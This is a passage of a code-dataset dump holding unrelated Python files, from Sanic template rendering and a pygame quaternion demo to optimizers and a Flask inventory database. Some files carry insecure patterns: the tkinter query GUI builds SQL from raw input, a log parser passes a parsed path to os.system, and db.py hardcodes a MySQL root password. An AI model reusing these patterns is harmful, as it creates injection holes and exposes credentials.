dict(request[REQUEST_CONTEXT_KEY], **context)\n try:\n text = template.render(request=request, app=request.app, **context)\n except Exception:\n translate = request.app.config.get(\"MAKO_TRANSLATE_EXCEPTIONS\", True)\n if translate:\n template.uri = template_name\n raise TemplateError(template)\n else:\n raise\n\n return text\n\n\ndef render_template_def(template_name, def_name, request, context, *, app_key=APP_KEY):\n lookup = get_lookup(request.app, app_key)\n\n if lookup is None:\n raise TemplateError(ServerError(\n f\"Template engine is not initialized, \"\n \"call sanic_mako.init_app first\", status_code=500))\n try:\n template = lookup.get_template(template_name)\n except TemplateLookupException as e:\n raise TemplateError(ServerError(f\"Template '{template_name}' not found\",\n status_code=500)) from e\n if not isinstance(context, Mapping):\n raise TemplateError(ServerError(\n \"context should be mapping, not {type(context)}\", status_code=500))\n if request.get(REQUEST_CONTEXT_KEY):\n context = dict(request[REQUEST_CONTEXT_KEY], **context)\n try:\n text = template.get_def(def_name).render(app=request.app, **context)\n except Exception:\n translate = request.app.config.get(\"MAKO_TRANSLATE_EXCEPTIONS\", True)\n if translate:\n template.uri = template_name\n raise TemplateError(template)\n else:\n raise\n\n return text\n\n\ndef render_template(template_name, request, context, *, app_key=APP_KEY):\n text = render_string(template_name, request, context, app_key=app_key)\n content_type = 'text/html'\n return HTTPResponse(text, content_type=content_type)\n\n\nasync def context_processors_middleware(app, handler):\n async def middleware(request):\n request[REQUEST_CONTEXT_KEY] = {}\n for processor in app[APP_CONTEXT_PROCESSORS_KEY]:\n request[REQUEST_CONTEXT_KEY].update(\n (await processor(request)))\n return (await handler(request))\n return middleware\n\n\nasync def request_processor(request):\n return {'request': request}\n","sub_path":"sanic_mako.py","file_name":"sanic_mako.py","file_ext":"py","file_size_in_byte":9031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"552802631","text":"#a simple test for collisions of a sphere\n#the quaternion rotation method is used for the rotation\n#and pure Euclidean distance is used for collisions.\n#a quaternion is represented as a 4 vector, [a,b,c,d]\n\nimport pygame\nimport math\nimport random\nfrom pygame.locals import *\n\n#pygame setup\nbackground_colour = (255,255,255)\n(width, height) = (700, 700)\n\nscreen = pygame.display.set_mode((width, height))#,pygame.FULLSCREEN)\nscreen.fill(background_colour)\npygame.display.set_caption('Collisions on a Sphere')\npygame.font.init()\n\nmyfont = pygame.font.SysFont(\"monospace\", 20)\n\nclock = pygame.time.Clock()\n\n#distance in space between two points, not distance on a sphere\ndef euclidean_distance(quat1, quat2):\n\treturn math.sqrt((quat1[0] - quat2[0])**2 +\n\t\t\t\t\t(quat1[1] - quat2[1])**2 + \n\t\t\t\t\t(quat1[2] - quat2[2])**2 + \n\t\t\t\t\t(quat1[3] - quat2[3])**2)\n\n#the size of a quaternion\ndef norm(quat):\n\treturn euclidean_distance([0,0,0,0], quat)\n\n#make a quaternion unit size\ndef normalise(quat):\n\tthis_norm = norm(quat)\n\tif this_norm == 0:\n\t\tthis_norm += 0.001\n\treturn [float(quat[0])/this_norm,\n\t\t\tfloat(quat[1])/this_norm,\n\t\t\tfloat(quat[2])/this_norm,\n\t\t\tfloat(quat[3])/this_norm]\n\n#find the conjugate of a quaternion (same process as complex conjugate)\ndef conjugate(quat):\n\treturn [quat[0], -quat[1], -quat[2], -quat[3]]\n\n#find the inverse of a quat, q = p^-1 such that pq = [1,0,0,0]\ndef invert(quat):\n\tthis_norm = norm(quat)\n\tif this_norm == 0:\n\t\tthis_norm += 0.001\n\tthis_conjugate = conjugate(quat)\n\treturn [float(this_conjugate[0])/(this_norm**2),\n\t\t\tfloat(this_conjugate[1])/(this_norm**2),\n\t\t\tfloat(this_conjugate[2])/(this_norm**2),\n\t\t\tfloat(this_conjugate[3])/(this_norm**2)]\n\n#multiply two quaternions using Hamiltons method\ndef multiply(quat1, quat2):\n\treturn [quat1[0]*quat2[0] - quat1[1]*quat2[1] - quat1[2]*quat2[2] - quat1[3]*quat2[3],\n\t\t\tquat1[0]*quat2[1] + quat1[1]*quat2[0] + quat1[2]*quat2[3] - quat1[3]*quat2[2],\n\t\t\tquat1[0]*quat2[2] - quat1[1]*quat2[3] + quat1[2]*quat2[0] + quat1[3]*quat2[1],\n\t\t\tquat1[0]*quat2[3] + quat1[1]*quat2[2] - quat1[2]*quat2[1] + quat1[3]*quat2[0]]\n\n#class for the points\nclass point:\n\tdef __init__(self):\n\t\t#begin at a random point, the last three components are x,y,z coord\n\t\tself.pos = [0, random.uniform(-1,1), random.uniform(-1,1), random.uniform(-1,1)]\n\t\t#ensure this point is on the sphere\n\t\tself.pos = normalise(self.pos)\n\t\t#make a random axis of rotation\n\t\tself.axis_of_rotation = [0, \n\t\t\t\t\t\trandom.uniform(-1,1), \n\t\t\t\t\t\trandom.uniform(-1,1), \n\t\t\t\t\t\t0]\n\t\tif self.pos[3] == 0:\n\t\t\tself.pos[3] += 0.001\n\t\t#ensure the axis of rotation is perpendicular to the point\n\t\t#this is to ensure the point travels along a great circle\n\t\tself.axis_of_rotation[3] = -1*(self.pos[1]*self.axis_of_rotation[1] + \n\t\t\t\t\t\t\t\t\tself.pos[2]*self.axis_of_rotation[2])/self.pos[3]\n\t\tself.axis_of_rotation = normalise(self.axis_of_rotation)\n\t\t#set speed of rotation\n\t\tself.speed = 0.01\n\t\tself.axis_of_rotation[0] = self.speed\n\t\tself.colour = [255,0,0]\n\n\tdef move(self):\n\t\t#use the rotation forumula to move the point\n\t\t#p' = qpq^-1, p = self.pos, q = self.axis_of_rotation\n\t\tq_minus_one = invert(self.axis_of_rotation)\n\t\tp_q_minus_one = multiply(self.pos, q_minus_one)\n\t\tself.pos = multiply(self.axis_of_rotation, p_q_minus_one)\n\n\t#display the point\n\tdef display(self):\n\t\tpygame.draw.circle(screen, self.colour, \n\t\t\t[int((300*self.pos[1]) + (float(width)/2)), \n\t\t\tint((300*self.pos[2]) + (float(height)/2))], 5)\n\n\t#check for collisions using only euclidean distance\n\tdef collide(self):\n\t\tcollide = False\n\t\tfor point in points:\n\t\t\tif euclidean_distance(self.pos,point.pos) <= 0.3 and point != self:\n\t\t\t\tcollide = True\t\n\n\t\tif collide: \n\t\t\tself.colour = [0,0,255]\n\t\telse:\n\t\t\tself.colour = [255,0,0]\n\n#initialise\npoints= []\nfor i in range(5):\n\tpoints.append(point())\n\npause = False\nrunning = True\nwhile running:\n\tfor event in pygame.event.get():\n\t if event.type == pygame.QUIT:\n\t running = False\n\t elif event.type == KEYDOWN:\n\t if event.key == K_ESCAPE:\n\t running = False\n\t if event.key == K_SPACE:\n\t pause = not pause\n\n\n\tif not pause:\n\t\tfor point in points:\n\t\t\tpoint.move()\n\t\t\tpoint.collide()\n\t\t\tpoint.display()\n\n\tpygame.display.flip()\n\n\tclock.tick(60)\n\t \npygame.quit()","sub_path":"tectonics/tectonics_DEC_2015.py","file_name":"tectonics_DEC_2015.py","file_ext":"py","file_size_in_byte":4247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"45367832","text":"\"\"\"Test application to verify a template works correctly\n\nUsage: \npython3 TemplateTester.py <templateDir>\n\n\"\"\"\n\nfrom PhotoboothTemplate import TemplateReader, ImageProcessor\nimport sys\nfrom PIL import Image, ImageDraw\n\ndef generateSampleImage(imageName, width, height):\n img = Image.new(\"RGB\", (width, height), \"gray\")\n draw = ImageDraw.Draw(img)\n text = imageName + \"\\n\" + str(width) + \"x\" + str(height)\n textSize = draw.textsize(text)\n draw.text(((width-textSize[0])/2,(height-textSize[1])/2), str(text))\n return img\n\n\nprint(\"Qt-Py Photobooth Template Tester\")\nprint(\"Validate a template and make sure it works correctly\")\n\nif(len(sys.argv) < 1):\n print (\"Usage: python3 TemplateTester.py <templateDir>\")\n exit()\n\nprint(\"--------------------------------------------\\n\")\n\n#Load the template\ntemplateDir = sys.argv[1]\nprint(\"Template Dir: \" + templateDir)\ntr = TemplateReader(templateDir, \"template.xml\")\nip = ImageProcessor(tr)\n\n#Generate sample photos\ncounter = 1\nimageList = list()\nfor imageSpec in tr.photoList:\n imageList.append(generateSampleImage(\"Image \" + str(counter), imageSpec['width'], imageSpec['height']))\n counter += 1\n\n#create result image.\nresult = ip.processImages(imageList)\nresult.save(\"result.jpg\")\n","sub_path":"TemplateTester.py","file_name":"TemplateTester.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"207856682","text":"import numpy as np\nimport subprocess\nimport sys\nsys.path.append('../../modules_gammak24/')\nfrom singlerun import SingleRun\nfrom readparams import ReadParams\n\nif __name__==\"__main__\":\n\n if len(sys.argv)<4:\n\n # see user_inputs.md for details on what typically goes in these inputs.\n user_input = input(\"input string of a k24,Lambda,omega pair, \"\n \"using comma as delimiter: \")\n k24,Lambda,omega = user_input.split(',')\n\n else:\n\n k24s = np.linspace(0,1.0,num=11,endpoint=True)\n k24,Lambda,omega = str(k24s[int(sys.argv[1])]),sys.argv[2],sys.argv[3]\n\n\n gammas = np.linspace(0.02,0.2,num=19,endpoint=True)\n\n scan = {}\n scan['k_{24}'] = k24\n scan['\\Lambda']=Lambda\n scan['\\omega']=omega\n \n loadsuf=[\"K_{33}\",\"k_{24}\",\"\\\\Lambda\",\"d_0\",\"\\\\omega\",\"\\\\gamma_s\"]\n savesuf=[\"K_{33}\",\"k_{24}\",\"\\\\Lambda\",\"d_0\",\"\\\\omega\"]\n\n for gamma in gammas:\n \n scan['\\gamma_s'] = str(gamma)\n \n rp = ReadParams(scan=scan,loadsuf=loadsuf,savesuf=savesuf)\n \n run = SingleRun(rp)\n\n run.run_exe()\n\n #run.mv_file('psivsr')\n\n run.mv_file('observables')\n\n \n Rguess,etaguess,deltaguess = run.get_xvals()\n\n scan['Rguess'] = Rguess\n scan['Rupper'] = str(1.5*float(Rguess))\n scan['Rlower'] = str(0.75*float(Rguess))\n\n if not np.isnan(float(etaguess)):\n scan['etaguess'] = etaguess\n scan['etaupper'] = str(float(etaguess)+0.1)\n scan['etalower'] = str(float(etaguess)-0.02)\n\n if not (np.isnan(float(deltaguess))\n or abs(float(deltaguess))<1e-5):\n scan['deltaguess'] = deltaguess\n scan['deltaupper'] = '0.818'\n \n if float(deltaguess) < 0.81:\n scan['deltalower'] = str(0.95*float(deltaguess))\n else:\n scan['deltalower'] = '0.81'\n\n\n run.concatenate_observables([\"\\\\gamma_s\"])\n","sub_path":"gradient_descent_cos_in_denom/experiments/2018-12-15/gamma-at-constant-k24-firsttry/scan.py","file_name":"scan.py","file_ext":"py","file_size_in_byte":1977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"510596811","text":"from tkinter import *\nimport mainwindow\nimport tkinter.messagebox\nimport sqlop\nimport string\n\n\nclass select():\n def select_S(self):\n ssno = self.sinput1.get()\n ssname = self.sinput2.get()\n ssex = self.sinput3.get()\n sage = self.sinput4.get()\n sdepth = self.sinput5.get()\n if ssno == \"\" and ssname == \"\" and ssex == \"\" and sage == \"\" and sdepth == \"\":\n if tkinter.messagebox.askokcancel(title=\"提示\", message='您是想查询 S 表中所有数据吗?如果不是请输入筛选条件!'):\n str = \"select * from s\"\n a = sqlop.sql()\n a.opselect(str, self.root)\n a.shutdown()\n return\n st = \"\"\n if ssno != \"\":\n st = \"sno=\" + '\\'' + ssno + '\\''\n if ssname != \"\":\n if st == \"\":\n st += \"sname=\" + '\\'' + ssname + '\\''\n else:\n st += \"and sname=\" + '\\'' + ssname + '\\''\n if ssex != \"\":\n if st == \"\":\n st += \"ssex=\" + '\\'' + ssex + '\\''\n else:\n st += \"and ssex=\" + '\\'' + ssex + '\\''\n if sage != \"\":\n if st == \"\":\n st += \"sage=\" + '\\'' + sage + '\\''\n else:\n st += \"and sage=\" + '\\'' + sage + '\\''\n if sdepth != \"\":\n if st == \"\":\n st += \"sdept=\" + '\\'' + sdepth + '\\''\n else:\n st += \"and sdept=\" + '\\'' + sdepth + '\\''\n st += ';'\n str = \"select * from s where \" + st\n # print(str)\n a = sqlop.sql()\n a.opselect(str, self.root)\n a.shutdown()\n\n return\n\n def select_SC(self):\n sno = self.scinput1.get()\n cno = self.scinput2.get()\n grade = self.scinput3.get()\n if sno == \"\" and cno == \"\" and grade == \"\":\n if tkinter.messagebox.askokcancel(title=\"提示\", message='您是想查询 SC 表中所有数据吗?如果不是请输入筛选条件!'):\n str = \"select * from sc\"\n a = sqlop.sql()\n a.opselect(str, self.root)\n a.shutdown()\n return\n st = \"\"\n if sno != \"\":\n st = \"sno=\" + '\\'' + sno + '\\''\n if cno != \"\":\n if st == \"\":\n st += \"cno=\" + '\\'' + cno + '\\''\n else:\n st += \"and cno=\" + '\\'' + cno + '\\''\n if grade != \"\":\n if st == \"\":\n st += \"grade=\" + grade\n else:\n st += \"and grade=\" + grade\n st += ';'\n str = \"select * from sc where \" + st\n # print(str)\n a = sqlop.sql()\n a.opselect(str, self.root)\n a.shutdown()\n return\n\n def select_C(self):\n cno = self.cinput1.get()\n cname = self.cinput2.get()\n ccredit = self.cinput3.get()\n if cno == \"\" and cname == \"\" and ccredit == \"\":\n if tkinter.messagebox.askokcancel(title=\"提示\", message='您是想查询 C 表中所有数据吗?如果不是请输入筛选条件!'):\n str = \"select * from c\"\n a = sqlop.sql()\n a.opselect(str, self.root)\n a.shutdown()\n return\n st = \"\"\n if cno != \"\":\n st = \"cno=\" + '\\'' + cno + '\\''\n if cname != \"\":\n if st == \"\":\n st += \"cname=\" + '\\'' + cname + '\\''\n else:\n st += \"and cname=\" + '\\'' + cname + '\\''\n if ccredit != \"\":\n if st == \"\":\n st += \"ccredit=\" + ccredit\n else:\n st += \"and ccredit=\" + ccredit\n st += ';'\n str = \"select * from c where \" + st # 确定的查询sql语句\n # print(str)\n a = sqlop.sql() # 实例化一个sqlop中的sql对象\n a.opselect(str, self.root) #执行opselect() 方法\n a.shutdown()\n return\n\n def reback(self):\n self.initface.destroy()\n mainwindow.mainwindow(self.root)\n\n def __init__(self, master):\n self.root = master\n self.root.title('查询')\n self.initface = Frame(self.root)\n self.initface.grid()\n lb1 = Label(self.initface, text='S表')\n scln1 = Label(self.initface, text='学号').grid(row=0, column=1)\n scln2 = Label(self.initface, text='姓名').grid(row=0, column=2)\n scln3 = Label(self.initface, text='性别').grid(row=0, column=3)\n scln4 = Label(self.initface, text='年龄').grid(row=0, column=4)\n scln5 = Label(self.initface, text='专业').grid(row=0, column=5)\n lb2 = Label(self.initface, text='SC表')\n sccln1 = Label(self.initface, text='学号').grid(row=2, column=1)\n sccln2 = Label(self.initface, text='课程号').grid(row=2, column=2)\n sccln3 = Label(self.initface, text='成绩').grid(row=2, column=3)\n lb3 = Label(self.initface, text='C表')\n ccln1 = Label(self.initface, text='课程号').grid(row=4, column=1)\n ccln2 = Label(self.initface, text='课程名').grid(row=4, column=2)\n ccln3 = Label(self.initface, text='学分').grid(row=4, column=3)\n btnadd = Button(self.initface, text='查询S表', command=self.select_S).grid(row=6, column=1)\n btnadd = Button(self.initface, text='查询SC表', command=self.select_SC).grid(row=6, column=2)\n btnadd = Button(self.initface, text='查询C表', command=self.select_C).grid(row=6, column=3)\n btnback = Button(self.initface, text='返回', command=self.reback).grid(row=6, column=4)\n self.sinput1 = Entry(self.initface, width=14)\n self.sinput2 = Entry(self.initface, width=14)\n self.sinput3 = Entry(self.initface, width=14)\n self.sinput4 = Entry(self.initface, width=14)\n self.sinput5 = Entry(self.initface, width=14)\n self.scinput1 = Entry(self.initface, width=14)\n self.scinput2 = Entry(self.initface, width=14)\n self.scinput3 = Entry(self.initface, width=14)\n self.cinput1 = Entry(self.initface, width=14)\n self.cinput2 = Entry(self.initface, width=14)\n self.cinput3 = Entry(self.initface, width=14)\n lb1.grid(row=1, pady=6, padx=5)\n lb2.grid(row=3, pady=6, padx=5)\n lb3.grid(row=5, pady=6, padx=5)\n self.sinput1.grid(row=1, column=1, padx=5)\n self.sinput2.grid(row=1, column=2, padx=5)\n self.sinput3.grid(row=1, column=3, padx=5)\n self.sinput4.grid(row=1, column=4, padx=5)\n self.sinput5.grid(row=1, column=5, padx=5)\n self.scinput1.grid(row=3, column=1, padx=5)\n self.scinput2.grid(row=3, column=2, padx=5)\n self.scinput3.grid(row=3, column=3, padx=5)\n self.cinput1.grid(row=5, column=1, padx=5)\n self.cinput2.grid(row=5, column=2, padx=5)\n self.cinput3.grid(row=5, column=3, padx=5)\n","sub_path":"select.py","file_name":"select.py","file_ext":"py","file_size_in_byte":6890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"557280041","text":"# coding=utf-8\n#this file is used to parse the result to show both the schema\n#and the data\nimport re\nimport os\nimport sys\n\n\ndef parse_data(file_name):\n text = open(file_name).read()\n matchs = re.findall(r\"Input\\(s\\):\\n(.*)\\n\\nOutput\\(s\\):\\n(.*)\\n\\nCounters:\", text, re.S)\n if len(matchs) == 0 or len(matchs[0]) == 0:\n return None, None\n #print(matchs, len(matchs[0]))\n inputs, outputs = matchs[0][0], matchs[0][1]\n\n inputs_info = inputs.split('\\n')\n inputs_rtn = []\n for line in inputs_info:\n path = re.findall(r'\"(.*)\"', line)\n #print(path)\n inputs_rtn.append((line, path[0]))\n\n outputs_info = outputs.split('\\n')\n outputs_rtn = []\n for line in outputs_info:\n path = re.findall(r'\"(.*)\"', line)\n #print(path)\n outputs_rtn.append((line, path[0]))\n\n return inputs_rtn, outputs_rtn\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) < 3:\n print(\"Useage: program cat_file_path file_name [nline]\")\n hcat_path = sys.argv[1]\n file_name = sys.argv[2]\n nline = 3 if len(sys.argv) < 4 else sys.argv[3]\n #file_name = './log/log_W31619_run_content_20140808_20140824_025355'\n #print(parse_data(file_name))\n inputs, outputs = parse_data(file_name)\n if inputs is None or outputs is None:\n print('show result failed!\\n')\n exit(1)\n #print('input + output')\n print(inputs+outputs)\n for line, path in inputs+outputs:\n print('\\033[0;31m' + '\\033[42m' + line + '\\033[0m')\n os.system(\"python {hcat_path} '{path}' {nline}\".format(hcat_path=hcat_path, path=path, nline=nline))\n","sub_path":"common/parse_result.py","file_name":"parse_result.py","file_ext":"py","file_size_in_byte":1604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"411491413","text":"from abc import ABC, abstractmethod\nimport numpy as np\nfrom gym import spaces\nfrom rlberry.seeding import Seeder\n\n\nclass DiscreteDistribution(ABC):\n def __init__(self, **kwargs):\n self.np_random = None\n\n @abstractmethod\n def get_distribution(self):\n \"\"\"\n Returns\n -------\n A distribution over actions {action:probability}\n \"\"\"\n raise NotImplementedError()\n\n def sample(self):\n \"\"\"\n Returns\n -------\n An action sampled from the distribution\n \"\"\"\n distribution = self.get_distribution()\n return self.np_random.choice(\n list(distribution.keys()), 1,\n p=np.array(list(distribution.values())))[0]\n\n def seed(self, seeder=None):\n \"\"\"\n Seed the policy randomness source\n\n Parameters\n ----------\n seeder : rlberry.seeding.seeder.Seeder\n \"\"\"\n self.seeder = Seeder(seeder)\n self.np_random = self.seeder.rng\n\n def set_time(self, time):\n \"\"\"\n Set the local time, allowing to schedule the distribution temperature.\n \"\"\"\n pass\n\n def step_time(self):\n \"\"\"\n Step the local time, allowing to schedule the distribution temperature.\n \"\"\"\n pass\n\n\nclass EpsilonGreedy(DiscreteDistribution):\n \"\"\"\n Uniform distribution with probability epsilon, and optimal action with\n probability 1-epsilon.\n \"\"\"\n\n def __init__(self,\n action_space,\n temperature=1.0,\n final_temperature=0.1,\n tau=5000,\n **kwargs):\n super().__init__(**kwargs)\n self.action_space = action_space\n self.temperature = temperature\n self.final_temperature = final_temperature\n self.tau = tau\n if isinstance(self.action_space, spaces.Tuple):\n self.action_space = self.action_space.spaces[0]\n if not isinstance(self.action_space, spaces.Discrete):\n raise TypeError(\"The action space should be discrete\")\n self.final_temperature = min(self.temperature, self.final_temperature)\n self.optimal_action = None\n self.epsilon = 0\n self.time = 0\n self.writer = None\n self.seed()\n\n def get_distribution(self):\n distribution = {action: self.epsilon / self.action_space.n\n for action in range(self.action_space.n)}\n distribution[self.optimal_action] += 1 - self.epsilon\n return distribution\n\n def update(self, values):\n \"\"\"\n Update the action distribution parameters\n\n Parameters\n -----------\n values\n The state-action values\n step_time\n Whether to update epsilon schedule\n \"\"\"\n self.optimal_action = np.argmax(values)\n self.epsilon = self.final_temperature \\\n + (self.temperature - self.final_temperature) * \\\n np.exp(- self.time / self.tau)\n if self.writer:\n self.writer.add_scalar('exploration/epsilon',\n self.epsilon,\n self.time)\n\n def step_time(self):\n self.time += 1\n\n def set_time(self, time):\n self.time = time\n\n def set_writer(self, writer):\n self.writer = writer\n\n\nclass Greedy(DiscreteDistribution):\n \"\"\"\n Always use the optimal action\n \"\"\"\n\n def __init__(self, action_space, **kwargs):\n super().__init__()\n self.action_space = action_space\n if isinstance(self.action_space, spaces.Tuple):\n self.action_space = self.action_space.spaces[0]\n if not isinstance(self.action_space, spaces.Discrete):\n raise TypeError(\"The action space should be discrete\")\n self.values = None\n self.seed()\n\n def get_distribution(self):\n optimal_action = np.argmax(self.values)\n return {action: 1 if action == optimal_action\n else 0 for action in range(self.action_space.n)}\n\n def update(self, values):\n self.values = values\n\n\ndef exploration_factory(action_space, method=\"EpsilonGreedy\", **kwargs):\n \"\"\"\n Handles creation of exploration policies\n\n Parameters\n ----------\n exploration_config : dict\n Configuration dictionary of the policy, must contain a \"method\" key.\n action_space : gym.spaces.Space\n The environment action space\n\n Returns\n -------\n A new exploration policy.\n \"\"\"\n if method == 'Greedy':\n return Greedy(action_space, **kwargs)\n elif method == 'EpsilonGreedy':\n return EpsilonGreedy(action_space, **kwargs)\n else:\n raise ValueError(\"Unknown exploration method\")\n","sub_path":"rlberry/agents/torch/dqn/exploration.py","file_name":"exploration.py","file_ext":"py","file_size_in_byte":4735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"197950749","text":"\"\"\"Satin Bowerbird Optimizer.\n\"\"\"\n\nimport numpy as np\n\nimport opytimizer.math.distribution as d\nimport opytimizer.math.random as r\nimport opytimizer.utils.exception as e\nimport opytimizer.utils.logging as l\nfrom opytimizer.core import Optimizer\n\nlogger = l.get_logger(__name__)\n\n\nclass SBO(Optimizer):\n \"\"\"A SBO class, inherited from Optimizer.\n\n This is the designed class to define SBO-related\n variables and methods.\n\n References:\n S. H. S. Moosavi and V. K. Bardsiri.\n Satin bowerbird optimizer: a new optimization algorithm to optimize ANFIS\n for software development effort estimation.\n Engineering Applications of Artificial Intelligence (2017).\n\n \"\"\"\n\n def __init__(self, params=None):\n \"\"\"Initialization method.\n\n Args:\n params (dict): Contains key-value parameters to the mp_mutation-heuristics.\n\n \"\"\"\n\n # Overrides its parent class with the receiving params\n super(SBO, self).__init__()\n\n # Step size\n self.alpha = 0.9\n\n # Probability of mutation\n self.p_mutation = 0.05\n\n # Percentage of width between lower and upper bounds\n self.z = 0.02\n\n # Builds the class\n self.build(params)\n\n logger.info('Class overrided.')\n\n @property\n def alpha(self):\n \"\"\"float: Step size.\n\n \"\"\"\n\n return self._alpha\n\n @alpha.setter\n def alpha(self, alpha):\n if not isinstance(alpha, (float, int)):\n raise e.TypeError('`alpha` should be a float or integer')\n if alpha < 0:\n raise e.ValueError('`alpha` should be >= 0')\n\n self._alpha = alpha\n\n @property\n def p_mutation(self):\n \"\"\"float: Probability of mutation.\n\n \"\"\"\n\n return self._p_mutation\n\n @p_mutation.setter\n def p_mutation(self, p_mutation):\n if not isinstance(p_mutation, (float, int)):\n raise e.TypeError('`p_mutation` should be a float or integer')\n if p_mutation < 0 or p_mutation > 1:\n raise e.ValueError('`p_mutation` should be between 0 and 1')\n\n self._p_mutation = p_mutation\n\n @property\n def z(self):\n \"\"\"float: Percentage of width between lower and upper bounds.\n\n \"\"\"\n\n return self._z\n\n @z.setter\n def z(self, z):\n if not isinstance(z, (float, int)):\n raise e.TypeError('`z` should be a float or integer')\n if z < 0 or z > 1:\n raise e.ValueError('`z` should be between 0 and 1')\n\n self._z = z\n\n @property\n def sigma(self):\n \"\"\"list: List of widths.\n\n \"\"\"\n\n return self._sigma\n\n @sigma.setter\n def sigma(self, sigma):\n if not isinstance(sigma, list):\n raise e.TypeError('`sigma` should be a list')\n\n self._sigma = sigma\n\n def compile(self, space):\n \"\"\"Compiles additional information that is used by this optimizer.\n\n Args:\n space (Space): A Space object containing meta-information.\n\n \"\"\"\n\n # List of widths\n self.sigma = [self.z * (ub - lb) for lb, ub in zip(space.lb, space.ub)]\n\n def update(self, space, function):\n \"\"\"Wraps Satin Bowerbird Optimizer over all agents and variables (eq. 1-7).\n\n Args:\n space (Space): Space containing agents and update-related information.\n function (Function): A Function object that will be used as the objective function.\n\n \"\"\"\n\n # Calculates a list of fitness per agent\n fitness = [1 / (1 + agent.fit) if agent.fit >= 0 else 1 +\n np.abs(agent.fit) for agent in space.agents]\n\n # Calculates the total fitness\n total_fitness = np.sum(fitness)\n\n # Calculates the probability of each agent's fitness\n probs = [fit / total_fitness for fit in fitness]\n\n # Iterates through all agents\n for agent in space.agents:\n # For every decision variable\n for j in range(agent.n_variables):\n # Selects a random individual based on its probability\n s = d.generate_choice_distribution(len(space.agents), probs, 1)[0]\n\n # Calculates the lambda factor\n lambda_k = self.alpha / (1 + probs[s])\n\n # Updates the decision variable position\n agent.position[j] += lambda_k * ((space.agents[s].position[j] + space.best_agent.position[j]) / \\\n 2 - agent.position[j])\n\n # Generates an uniform random number\n r1 = r.generate_uniform_random_number()\n\n # If random number is smaller than probability of mutation\n if r1 < self.p_mutation:\n # Mutates the decision variable position\n agent.position[j] += self.sigma[j] * r.generate_gaussian_random_number()\n\n # Checks agent's limits\n agent.clip_by_bound()\n\n # Calculates its fitness\n agent.fit = function(agent.position)\n","sub_path":"opytimizer/optimizers/swarm/sbo.py","file_name":"sbo.py","file_ext":"py","file_size_in_byte":5030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"514056288","text":"from flask import Flask\nfrom flask_restful import Resource, Api\nfrom domain.types import *\nimport os\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask import g\nimport click\nfrom flask.cli import with_appcontext\nfrom flask import current_app as app\n\ndb = SQLAlchemy()\n\ndef get_db():\n if 'db' not in g:\n app.config[\"SQLALCHEMY_DATABASE_URI\"] = \"mysql+pymysql://root:120320@localhost/ollivanders\"\n app.config[\"SQLALCHEMY_TRACK_MODIFICATIONS\"] = False\n db.init_app(app)\n g.db = db\n g.Items = Inventory ###REVISAR###\n\n return g.db\n\ndef close_db(e=None):\n db = g.pop('db', None)\n\n if db is not None:\n db.session.close()\n\nclass Inventory(db.Model):\n __tablename__ = 'inventory'\n\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(40), nullable=False)\n sell_in = db.Column(db.Integer, nullable=False)\n quality = db.Column(db.Integer, nullable=False)\n \n def __init__(self, name, sell_in, quality):\n self.name = name\n self.sell_in = sell_in\n self.quality = quality\n\n def __repr__(self):\n return f'Item ({self.name, self.sell_in, self.quality})'\n \ndef init_db():\n db = get_db()\n\n items = [AgedBrie(\"Aged Brie\", 2, 0),\n NormalItem(\"Elixir of the Mongoose\", 5, 7),\n NormalItem(\"+5 Dexterity Vest\", 10, 20),\n Sulfuras(\"Hand of Ragnaros\", 0, 80),\n Sulfuras(\"Hand of Ragnaros\", -1, 80),\n BackstagePasses(\"TAFKAL80ETC concert\", 15, 20),\n BackstagePasses(\"TAFKAL80ETC concert\", 10, 49),\n BackstagePasses(\"TAFKAL80ETC concert\", 5, 49),\n NormalItem(\"Conjured Mana Cake\", 3, 6)]\n\n resultado = []\n\n for item in items:\n objeto = Inventory(name = item.name, sell_in = item.sell_in, quality = item.quality)\n resultado.append(objeto)\n \n db.drop_all()\n db.create_all()\n db.session.add_all(resultado)\n db.session.commit()\n\n@click.command('init-db')\n@with_appcontext\ndef init_db_command():\n init_db()\n click.echo('Initialized the database.')\n\ndef init_app(app):\n app.teardown_appcontext(close_db)\n app.cli.add_command(init_db_command)\n\n################################################################################################\n\ndef get_objeto(name):\n query = db.session.query(Inventory).filter_by(name = name).all()\n return query\n\ndef get_sell_in(sell_in):\n query = db.session.query(Inventory).filter_by(sell_in = sell_in).all()\n return query\n\ndef get_quality(quality):\n query = db.session.query(Inventory).filter_by(quality = quality).all()\n return query\n\ndef get_inventario():\n query = db.session.query(Inventory).all()\n return query\n\ndef post_objeto(args):\n add_item = Inventory(name = args['name'], sell_in = args['sell_in'], quality = args['quality'])\n\n db.session.add(add_item) ###donde guarda los datos exactamente?###\n db.session.commit()\n\n return \"Objeto añadido con éxito :)\"\n\ndef delete_objeto(args):\n query = db.session.query(Inventory).filter_by(name = args['name'], sell_in = args['sell_in'], quality = args['quality']).first()\n\n db.session.delete(query)\n db.session.commit()\n return \"Objeto borrado con éxito :D\"","sub_path":"repository/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":3234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"290395207","text":"# Copyright 2015 TellApart, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport gevent.monkey\ngevent.monkey.patch_all()\n\nimport 